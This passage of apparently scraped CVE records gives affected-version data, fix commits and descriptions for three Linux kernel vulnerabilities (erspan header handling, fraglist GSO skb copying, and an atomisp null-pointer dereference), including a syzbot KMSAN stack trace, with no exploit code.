              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.85",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "4.19.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.85",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.26",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.5",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.20.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nerspan: make sure erspan_base_hdr is present in skb-\u003ehead\n\nsyzbot reported a problem in ip6erspan_rcv() [1]\n\nIssue is that ip6erspan_rcv() (and erspan_rcv()) no longer make\nsure erspan_base_hdr is present in skb linear part (skb-\u003ehead)\nbefore getting @ver field from it.\n\nAdd the missing pskb_may_pull() calls.\n\nv2: Reload iph pointer in erspan_rcv() after pskb_may_pull()\n    because skb-\u003ehead might have changed.\n\n[1]\n\n BUG: KMSAN: uninit-value in pskb_may_pull_reason include/linux/skbuff.h:2742 [inline]\n BUG: KMSAN: uninit-value in pskb_may_pull include/linux/skbuff.h:2756 [inline]\n BUG: KMSAN: uninit-value in ip6erspan_rcv net/ipv6/ip6_gre.c:541 [inline]\n BUG: KMSAN: uninit-value in gre_rcv+0x11f8/0x1930 net/ipv6/ip6_gre.c:610\n  pskb_may_pull_reason include/linux/skbuff.h:2742 [inline]\n  pskb_may_pull include/linux/skbuff.h:2756 [inline]\n  ip6erspan_rcv net/ipv6/ip6_gre.c:541 [inline]\n  gre_rcv+0x11f8/0x1930 net/ipv6/ip6_gre.c:610\n  ip6_protocol_deliver_rcu+0x1d4c/0x2ca0 net/ipv6/ip6_input.c:438\n  ip6_input_finish net/ipv6/ip6_input.c:483 [inline]\n  NF_HOOK include/linux/netfilter.h:314 [inline]\n  ip6_input+0x15d/0x430 net/ipv6/ip6_input.c:492\n  ip6_mc_input+0xa7e/0xc80 net/ipv6/ip6_input.c:586\n  dst_input include/net/dst.h:460 [inline]\n  ip6_rcv_finish+0x955/0x970 net/ipv6/ip6_input.c:79\n  NF_HOOK include/linux/netfilter.h:314 [inline]\n  ipv6_rcv+0xde/0x390 net/ipv6/ip6_input.c:310\n  __netif_receive_skb_one_core net/core/dev.c:5538 [inline]\n  __netif_receive_skb+0x1da/0xa00 net/core/dev.c:5652\n  netif_receive_skb_internal net/core/dev.c:5738 [inline]\n  netif_receive_skb+0x58/0x660 net/core/dev.c:5798\n  tun_rx_batched+0x3ee/0x980 drivers/net/tun.c:1549\n  tun_get_user+0x5566/0x69e0 drivers/net/tun.c:2002\n  tun_chr_write_iter+0x3af/0x5d0 drivers/net/tun.c:2048\n  call_write_iter include/linux/fs.h:2108 [inline]\n  new_sync_write fs/read_write.c:497 [inline]\n  vfs_write+0xb63/0x1520 fs/read_write.c:590\n  ksys_write+0x20f/0x4c0 fs/read_write.c:643\n  __do_sys_write fs/read_write.c:655 [inline]\n  __se_sys_write fs/read_write.c:652 [inline]\n  __x64_sys_write+0x93/0xe0 fs/read_write.c:652\n do_syscall_64+0xd5/0x1f0\n entry_SYSCALL_64_after_hwframe+0x6d/0x75\n\nUninit was created at:\n  slab_post_alloc_hook mm/slub.c:3804 [inline]\n  slab_alloc_node mm/slub.c:3845 [inline]\n  kmem_cache_alloc_node+0x613/0xc50 mm/slub.c:3888\n  kmalloc_reserve+0x13d/0x4a0 net/core/skbuff.c:577\n  __alloc_skb+0x35b/0x7a0 net/core/skbuff.c:668\n  alloc_skb include/linux/skbuff.h:1318 [inline]\n  alloc_skb_with_frags+0xc8/0xbf0 net/core/skbuff.c:6504\n  sock_alloc_send_pskb+0xa81/0xbf0 net/core/sock.c:2795\n  tun_alloc_skb drivers/net/tun.c:1525 [inline]\n  tun_get_user+0x209a/0x69e0 drivers/net/tun.c:1846\n  tun_chr_write_iter+0x3af/0x5d0 drivers/net/tun.c:2048\n  call_write_iter include/linux/fs.h:2108 [inline]\n  new_sync_write fs/read_write.c:497 [inline]\n  vfs_write+0xb63/0x1520 fs/read_write.c:590\n  ksys_write+0x20f/0x4c0 fs/read_write.c:643\n  __do_sys_write fs/read_write.c:655 [inline]\n  __se_sys_write fs/read_write.c:652 [inline]\n  __x64_sys_write+0x93/0xe0 fs/read_write.c:652\n do_syscall_64+0xd5/0x1f0\n entry_SYSCALL_64_after_hwframe+0x6d/0x75\n\nCPU: 1 PID: 5045 Comm: syz-executor114 Not tainted 6.9.0-rc1-syzkaller-00021-g962490525cff #0"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:11.000Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/06a939f72a24a7d8251f84cf4c042df86c6666ac"
        },
        {
          "url": "https://git.kernel.org/stable/c/e54a0c79cdc2548729dd7e2e468b08c5af4d0df5"
        },
        {
          "url": "https://git.kernel.org/stable/c/b14b9f9503ec823ca75be766dcaeff4f0bfeca85"
        },
        {
          "url": "https://git.kernel.org/stable/c/ee0088101beee10fa809716d6245d915b09c37c7"
        },
        {
          "url": "https://git.kernel.org/stable/c/1db7fcb2b290c47c202b79528824f119fa28937d"
        },
        {
          "url": "https://git.kernel.org/stable/c/4e3fdeecec5707678b0d1f18c259dadb97262e9d"
        },
        {
          "url": "https://git.kernel.org/stable/c/0ac328a5a4138a6c03dfc3f46017bd5c19167446"
        },
        {
          "url": "https://git.kernel.org/stable/c/17af420545a750f763025149fa7b833a4fc8b8f0"
        }
      ],
      "title": "erspan: make sure erspan_base_hdr is present in skb-\u003ehead",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35888",
    "datePublished": "2024-05-19T08:34:44.428Z",
    "dateReserved": "2024-05-17T13:50:33.113Z",
    "dateUpdated": "2026-05-12T11:52:27.203Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-36929 (GCVE-0-2024-36929)

Vulnerability from cvelistv5 – Published: 2024-05-30 15:29 – Updated: 2026-05-12 11:54

Title

net: core: reject skb_copy(_expand) for fraglist GSO skbs

Summary

In the Linux kernel, the following vulnerability has been resolved: net: core: reject skb_copy(_expand) for fraglist GSO skbs SKB_GSO_FRAGLIST skbs must not be linearized, otherwise they become invalid. Return NULL if such an skb is passed to skb_copy or skb_copy_expand, in order to prevent a crash on a potential later call to skb_gso_segment.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/faa83a7797f06cefe…
https://git.kernel.org/stable/c/c7af99cc21923a965…
https://git.kernel.org/stable/c/989bf6fd1e1d058e7…
https://git.kernel.org/stable/c/cfe34d86ef9765c38…
https://git.kernel.org/stable/c/aea5e2669c2863fdd…
https://git.kernel.org/stable/c/d091e579b864fa790…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 3a1296a38d0cf62bffb9a03c585cbd5dbf15d596 , < faa83a7797f06cefed86731ba4baa3b4dfdc06c1 (git) Affected: 3a1296a38d0cf62bffb9a03c585cbd5dbf15d596 , < c7af99cc21923a9650533c9d77265c8dd683a533 (git) Affected: 3a1296a38d0cf62bffb9a03c585cbd5dbf15d596 , < 989bf6fd1e1d058e73a364dce1a0c53d33373f62 (git) Affected: 3a1296a38d0cf62bffb9a03c585cbd5dbf15d596 , < cfe34d86ef9765c388f145039006bb79b6c81ac6 (git) Affected: 3a1296a38d0cf62bffb9a03c585cbd5dbf15d596 , < aea5e2669c2863fdd8679c40ee310b3bcaa85aec (git) Affected: 3a1296a38d0cf62bffb9a03c585cbd5dbf15d596 , < d091e579b864fa790dd6a0cd537a22c383126681 (git)
Linux	Linux	Affected: 5.6 Unaffected: 0 , < 5.6 (semver) Unaffected: 5.10.217 , ≤ 5.10.* (semver) Unaffected: 5.15.159 , ≤ 5.15.* (semver) Unaffected: 6.1.91 , ≤ 6.1.* (semver) Unaffected: 6.6.31 , ≤ 6.6.* (semver) Unaffected: 6.8.10 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-36929",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-04T15:42:14.703241Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:47:55.373Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-09-05T08:03:34.841Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/faa83a7797f06cefed86731ba4baa3b4dfdc06c1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c7af99cc21923a9650533c9d77265c8dd683a533"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/989bf6fd1e1d058e73a364dce1a0c53d33373f62"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cfe34d86ef9765c388f145039006bb79b6c81ac6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/aea5e2669c2863fdd8679c40ee310b3bcaa85aec"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d091e579b864fa790dd6a0cd537a22c383126681"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00019.html"
          },
          {
            "url": "https://security.netapp.com/advisory/ntap-20240905-0010/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:16.737Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/core/skbuff.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "faa83a7797f06cefed86731ba4baa3b4dfdc06c1",
              "status": "affected",
              "version": "3a1296a38d0cf62bffb9a03c585cbd5dbf15d596",
              "versionType": "git"
            },
            {
              "lessThan": "c7af99cc21923a9650533c9d77265c8dd683a533",
              "status": "affected",
              "version": "3a1296a38d0cf62bffb9a03c585cbd5dbf15d596",
              "versionType": "git"
            },
            {
              "lessThan": "989bf6fd1e1d058e73a364dce1a0c53d33373f62",
              "status": "affected",
              "version": "3a1296a38d0cf62bffb9a03c585cbd5dbf15d596",
              "versionType": "git"
            },
            {
              "lessThan": "cfe34d86ef9765c388f145039006bb79b6c81ac6",
              "status": "affected",
              "version": "3a1296a38d0cf62bffb9a03c585cbd5dbf15d596",
              "versionType": "git"
            },
            {
              "lessThan": "aea5e2669c2863fdd8679c40ee310b3bcaa85aec",
              "status": "affected",
              "version": "3a1296a38d0cf62bffb9a03c585cbd5dbf15d596",
              "versionType": "git"
            },
            {
              "lessThan": "d091e579b864fa790dd6a0cd537a22c383126681",
              "status": "affected",
              "version": "3a1296a38d0cf62bffb9a03c585cbd5dbf15d596",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/core/skbuff.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.6"
            },
            {
              "lessThan": "5.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.217",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.159",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.91",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.31",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.217",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.159",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.91",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.31",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.10",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: core: reject skb_copy(_expand) for fraglist GSO skbs\n\nSKB_GSO_FRAGLIST skbs must not be linearized, otherwise they become\ninvalid. Return NULL if such an skb is passed to skb_copy or\nskb_copy_expand, in order to prevent a crash on a potential later\ncall to skb_gso_segment."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:17:12.935Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/faa83a7797f06cefed86731ba4baa3b4dfdc06c1"
        },
        {
          "url": "https://git.kernel.org/stable/c/c7af99cc21923a9650533c9d77265c8dd683a533"
        },
        {
          "url": "https://git.kernel.org/stable/c/989bf6fd1e1d058e73a364dce1a0c53d33373f62"
        },
        {
          "url": "https://git.kernel.org/stable/c/cfe34d86ef9765c388f145039006bb79b6c81ac6"
        },
        {
          "url": "https://git.kernel.org/stable/c/aea5e2669c2863fdd8679c40ee310b3bcaa85aec"
        },
        {
          "url": "https://git.kernel.org/stable/c/d091e579b864fa790dd6a0cd537a22c383126681"
        }
      ],
      "title": "net: core: reject skb_copy(_expand) for fraglist GSO skbs",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36929",
    "datePublished": "2024-05-30T15:29:21.430Z",
    "dateReserved": "2024-05-30T15:25:07.069Z",
    "dateUpdated": "2026-05-12T11:54:16.737Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38547 (GCVE-0-2024-38547)

Vulnerability from cvelistv5 – Published: 2024-06-19 13:35 – Updated: 2026-05-12 11:54

Title

media: atomisp: ssh_css: Fix a null-pointer dereference in load_video_binaries

Summary

In the Linux kernel, the following vulnerability has been resolved: media: atomisp: ssh_css: Fix a null-pointer dereference in load_video_binaries The allocation failure of mycs->yuv_scaler_binary in load_video_binaries() is followed with a dereference of mycs->yuv_scaler_binary after the following call chain: sh_css_pipe_load_binaries() |-> load_video_binaries(mycs->yuv_scaler_binary == NULL) | |-> sh_css_pipe_unload_binaries() |-> unload_video_binaries() In unload_video_binaries(), it calls to ia_css_binary_unload with argument &pipe->pipe_settings.video.yuv_scaler_binary[i], which refers to the same memory slot as mycs->yuv_scaler_binary. Thus, a null-pointer dereference is triggered.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/51b8dc5163d2ff2bf…
https://git.kernel.org/stable/c/4b68b861b514a5c09…
https://git.kernel.org/stable/c/82c2c85aead3ea3cb…
https://git.kernel.org/stable/c/a1ab99dcc8604afe7…
https://git.kernel.org/stable/c/cc20c87b04db86c8e…
https://git.kernel.org/stable/c/69b27ff82f87379af…
https://git.kernel.org/stable/c/6482c433863b257b0…
https://git.kernel.org/stable/c/3b621e9e9e148c092…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a49d25364dfb9f8a64037488a39ab1f56c5fa419 , < 51b8dc5163d2ff2bf04019f8bf7e3bd0e75bb654 (git) Affected: ad85094b293e40e7a2f831b0311a389d952ebd5e , < 4b68b861b514a5c09220d622ac3784c0ebac6c80 (git) Affected: ad85094b293e40e7a2f831b0311a389d952ebd5e , < 82c2c85aead3ea3cbceef4be077cf459c5df2272 (git) Affected: ad85094b293e40e7a2f831b0311a389d952ebd5e , < a1ab99dcc8604afe7e3bccb01b10da03bdd7ea35 (git) Affected: ad85094b293e40e7a2f831b0311a389d952ebd5e , < cc20c87b04db86c8e3e810bcdca686b406206069 (git) Affected: ad85094b293e40e7a2f831b0311a389d952ebd5e , < 69b27ff82f87379afeaaea4b2f339032fdd8486e (git) Affected: ad85094b293e40e7a2f831b0311a389d952ebd5e , < 6482c433863b257b0b9b687c28ce80b89d5f89f0 (git) Affected: ad85094b293e40e7a2f831b0311a389d952ebd5e , < 3b621e9e9e148c0928ab109ac3d4b81487469acb (git)
Linux	Linux	Affected: 4.12 Affected: 5.8 Unaffected: 0 , < 4.12 (semver) Unaffected: 4.18 , < 5.8 (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.8.12 , ≤ 6.8.* (semver) Unaffected: 6.9.3 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T04:12:25.564Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4b68b861b514a5c09220d622ac3784c0ebac6c80"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/82c2c85aead3ea3cbceef4be077cf459c5df2272"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a1ab99dcc8604afe7e3bccb01b10da03bdd7ea35"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cc20c87b04db86c8e3e810bcdca686b406206069"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/69b27ff82f87379afeaaea4b2f339032fdd8486e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6482c433863b257b0b9b687c28ce80b89d5f89f0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3b621e9e9e148c0928ab109ac3d4b81487469acb"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38547",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:15:00.678473Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:57.671Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:34.973Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/staging/media/atomisp/pci/sh_css.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "51b8dc5163d2ff2bf04019f8bf7e3bd0e75bb654",
              "status": "affected",
              "version": "a49d25364dfb9f8a64037488a39ab1f56c5fa419",
              "versionType": "git"
            },
            {
              "lessThan": "4b68b861b514a5c09220d622ac3784c0ebac6c80",
              "status": "affected",
              "version": "ad85094b293e40e7a2f831b0311a389d952ebd5e",
              "versionType": "git"
            },
            {
              "lessThan": "82c2c85aead3ea3cbceef4be077cf459c5df2272",
              "status": "affected",
              "version": "ad85094b293e40e7a2f831b0311a389d952ebd5e",
              "versionType": "git"
            },
            {
              "lessThan": "a1ab99dcc8604afe7e3bccb01b10da03bdd7ea35",
              "status": "affected",
              "version": "ad85094b293e40e7a2f831b0311a389d952ebd5e",
              "versionType": "git"
            },
            {
              "lessThan": "cc20c87b04db86c8e3e810bcdca686b406206069",
              "status": "affected",
              "version": "ad85094b293e40e7a2f831b0311a389d952ebd5e",
              "versionType": "git"
            },
            {
              "lessThan": "69b27ff82f87379afeaaea4b2f339032fdd8486e",
              "status": "affected",
              "version": "ad85094b293e40e7a2f831b0311a389d952ebd5e",
              "versionType": "git"
            },
            {
              "lessThan": "6482c433863b257b0b9b687c28ce80b89d5f89f0",
              "status": "affected",
              "version": "ad85094b293e40e7a2f831b0311a389d952ebd5e",
              "versionType": "git"
            },
            {
              "lessThan": "3b621e9e9e148c0928ab109ac3d4b81487469acb",
              "status": "affected",
              "version": "ad85094b293e40e7a2f831b0311a389d952ebd5e",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/staging/media/atomisp/pci/sh_css.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.12"
            },
            {
              "status": "affected",
              "version": "5.8"
            },
            {
              "lessThan": "4.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThan": "5.8",
              "status": "unaffected",
              "version": "4.18",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.18",
                  "versionStartIncluding": "4.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.12",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.3",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
